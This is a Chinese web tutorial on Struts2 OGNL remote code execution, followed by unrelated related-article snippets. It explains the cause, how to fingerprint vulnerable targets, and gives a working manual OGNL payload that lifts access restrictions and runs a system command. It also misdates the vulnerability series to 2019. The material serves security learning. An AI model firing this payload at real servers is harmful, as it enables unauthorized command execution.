网络安全深入学习第三课——热门框架漏洞(RCE—Struts2远程代码执行)

news2025/1/16 9:17:06

文章目录

  • 一、Struts2框架介绍
  • 二、Struts2远程代码执行漏洞
  • 三、Struts2执行代码的原理
  • 四、Struts2框架特征
  • 五、漏洞手工POC
  • 六、漏洞工具复现


一、Struts2框架介绍

------ Struts2是apache项目下的一个web 框架,普遍应用于阿里巴巴、京东等互联网、政府、企业门户网站

------ Struts框架本身分为三个部分:核心控制器FilterDispatcher、业务控制器Action和用户实现的企业业务逻辑组件。


二、Struts2远程代码执行漏洞

------ Struts2漏洞是一个经典的漏洞系列,是在2019年被报出来的,根源在于Struts2引入了OGNL表达式使得框架具有灵活的动态性。随着整体框架的补丁完善,现在想挖掘新的Struts2漏洞会比以前困难很多,从实际了解的情况来看,大部分用户早就修复了历史的高危漏洞。目前在做渗透测试时,Struts2漏洞主要也是碰碰运气,或者是打到内网之后用来攻击没打补丁的系统会比较有效。


三、Struts2执行代码的原理

------ Struts2的动态性在于 OGNL表达式可以获取到运行变量的值,并且有机会执行函数调用。如果可以把恶意的请求参数送到 OGNL的执行流程中,就会导致任意代码执行漏洞。

------ Struts2的rce本质都是一样的(除了S2-052以外),都是Struts2框架执行了恶意用户传进来的 OGNL表达式,造成远程代码执行。可以造成“命令执行、服务器文件操作、打印回显、获取系统属性、危险代码执行”等,只不过需要精心构造不同的 OGNL代码而已。


四、Struts2框架特征

  1. 查看被测应用系统的源码,URL接口地址以 “.action” “.do”结尾或者地址中包含“!”符号

  2. 在被测应用的服务器上查看应用所在目录/WEB-INF/lib/下的jar文件,若存在struts2-core2.*.**.jar 或 xwork-core-2.*.**.jar格式的jar文件,则需检测是否存在Struts2远程代码执行漏洞。


五、漏洞手工POC

poc:

(%23_memberAccess[‘allowPrivateAccess’]=true,%23_memberAccess[‘allowProtectedAccess’]=true,%23_memberAccess[‘excludedPackageNamePatterns’]=%23_memberAccess[‘acceptProperties’],%23_memberAccess[‘excludedClasses’]=%23_memberAccess[‘acceptProperties’],%23_memberAccess[‘allowPackageProtectedAccess’]=true,%23_memberAccess[‘allowStaticMethodAccess’]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘id’).getInputStream()))

注意:有些情况利用的时候要记得url编码

其他struts2版本的POC可以参考:
https://vulhub.org/#/environments/struts2/


六、漏洞工具复现

在这里插入图片描述


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1016371.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux——Shell脚本编程(2)

一、Shell变量 Linux Shell 中的变量分为,系统变量 和 用户自定义变量 (这个用的比较多)。 系统变量 : $HOME、$PWD、$SHELL、$USER 等等,比如 : echo $HOME 等等.. 显示当前shell中所有变量 : set 举例说明: 二、设置环境变量 记得在注释…

ReactNative 网络库

What JS判断网络状态不准确 react-native-netinfo在Android中的结构 type-CellularGeneration:G网模式枚举 type-ConnectionType:网络连接类型 AmazonFireDeviceConnectivityPoller:Amazon设备网络适配,可忽略 BroadcastRec…

DP专题1 斐波那契数列II

题目: 思路: 通过样例 3 ,我们可以看出,将我们所对应的每个步骤进行拆分后,可以知道,每个步骤中都是调用了前面我们计算过的重复计算,所以这里的 dp[i] 中,i 表示 相应的Fbn(i) 的结…

数据结构入门-14-排序

一、归并排序MergeSort 更加复杂的递归算法 O(nlogn)的时间复杂度 1.1 归并思想 将一个数组一分为二 ,分别排序,得到两个排序后的子数组 对两个子数组排序的方法还是继续划分 MergeSort(arr, l, r) 对 arr数组的 l 到 r 区间进行排序1.2 归并步骤 递…

Nodejs 第十六章(ffmpeg)

FFmpeg 是一个开源的跨平台多媒体处理工具,可以用于处理音频、视频和多媒体流。它提供了一组强大的命令行工具和库,可以进行视频转码、视频剪辑、音频提取、音视频合并、流媒体传输等操作。 FFmpeg 的主要功能和特性: 格式转换:…

一文详解TCP三次握手四次挥手

文章目录 TCP的三次握手和四次挥手三次握手四次挥手 TCP的三次握手和四次挥手 基本概念 SYN(Synchronize Sequence Numbers,同步序列数字):用于建立连接的同步信号。 SYN 序列号的作用是用于标识每个数据包中的字节流的起始位置。…

Intellij idea 2023 年下载、安装教程、亲测可用

文章目录 1 下载与安装IDEA2 常用设置设置 Java JDK 版本自动导入包、移除包IDEA 自动生成 author 注释签名java.io.File 类无法自动提示导入?高亮显示与选中字符串相同的内容IDEA 配置 MavenIDEA 连接 Mysql 数据库 3 参考文章 1 下载与安装IDEA 首先先到官网下载…

python学习之【模块】

前言 上一篇文章 python学习之【深拷贝】中学习了python中的深浅拷贝学习内容,这篇文章接着学习python中的模块。 什么是模块 在python中,一个文件(以“.py”为后缀名的文件)就叫做一个模块,每一个模块在python里都…

爬虫框架Scrapy学习笔记-2

前言 Scrapy是一个功能强大的Python爬虫框架,它被广泛用于抓取和处理互联网上的数据。本文将介绍Scrapy框架的架构概览、工作流程、安装步骤以及一个示例爬虫的详细说明,旨在帮助初学者了解如何使用Scrapy来构建和运行自己的网络爬虫。 Scrapy架构概览…

Safetynet论文精读

基本信息 团队:Level 5, Toyota收购的Lyft自动驾驶团队(对,这个团队名字就叫Level 5) 年份:2021 官网:https://www.self-driving-cars.org/papers/2022-safetynet(对,他…

Godot 和 VScode配置C#环境注意事项

前言 尽管有些博主会建议如果我们熟悉C#的话,最好还是使用GDscript,而且对于小白上手也相对简单,但是C#的性能终究还是比动态语言好,也相比CPP简单些,尽管现在Godot还是有些问题,比如不像unity那样适配swit…

HDFS的存储原理

1、存储原理 1.1、HDFS分布式文件存储 将文件分为集群节点的部分数,分别存入每个节点中。 1.2、问题:文件大小不一,不利于统一管理 1.2.1、问题:文件大小不一,不利于统一管理 1.2.2、解决:设定统一的…

二,手机硬件参数介绍和校验算法

系列文章目录 第一章 安卓aosp源码编译环境搭建 第二章 手机硬件参数介绍和校验算法 第三章 修改安卓aosp代码更改硬件参数 第四章 编译定制rom并刷机实现硬改(一) 第五章 编译定制rom并刷机实现硬改(二) 第六章 不root不magisk不xposed lsposed frida原生修改定位 第七章 安卓…

Presto 之 Query Stage的几种状态

一. 前言 在Presto中,Stage的状态是指: Query的状态则是指: 本文主要介绍在Presto中,Query和Stage的几种状态以及每个状态下的主要任务。 二. Stage的几种状态 PLANNED:PLANNED是Stage的初始状态,处于PLAN…

kaptcha-2.3.2.jar

开源google验证码包。。。不太清晰 com.google.code.kaptcha 这就是为了我很反对添加开源的,为了几个功能点不断更新包,头痛要死 反正现在都是一堆开源的,我自己当架构师的时候都是能精简就要精简的。

2817. 限制条件下元素之间的最小绝对差;2305. 公平分发饼干;878. 第 N 个神奇数字

2817. 限制条件下元素之间的最小绝对差 核心思想:枚举二分。我们去枚举nums[j],然后用一个数据结构去装nums[i],利用二分去找在这个数据结构中离nums[j]最近的值的下标,然后统计最小值。这个数据结构可以使用SortedList&#xff…

基于SSM的毕业生就业状况管理系统设计与实现

末尾获取源码 开发语言:Java Java开发工具:JDK1.8 后端框架:SSM 前端:采用JSP技术开发 数据库:MySQL5.7和Navicat管理工具结合 服务器:Tomcat8.5 开发软件:IDEA / Eclipse 是否Maven项目&#x…

python-OpenCV-对图片进行操作

anaconda https://www.anaconda.com/download/ OpenCV拥有丰富的常用图像处理函数库 主要应用领域有计算机视觉领域:如物体识别、图像分割、人脸识别、动作识别及运动追踪 安装模块 pip install opencv-python pip install opencv-contrib-python一、cv2的基本方…

【力扣周赛】第 113 场双周赛(贪心异或性质换根DP)

文章目录 竞赛链接Q1:8039. 使数组成为递增数组的最少右移次数竞赛时代码——枚举答案 Q2:2856. 删除数对后的最小数组长度竞赛时代码——贪心优先队列 Q3:6988. 统计距离为 k 的点对竞赛时代码——异或性质哈希表 Q4:100041. 可以…

【深度学习】Pytorch 系列教程(十):PyTorch数据结构:2、张量操作(Tensor Operations):(4)索引和切片详解

目录 一、前言 二、实验环境 三、PyTorch数据结构 0、分类 1、张量(Tensor) 2、张量操作(Tensor Operations) 1. 数学运算 2. 统计计算 3. 张量变形 4. 索引和切片 使用索引访问单个元素 使用切片访问子集 使用索引和…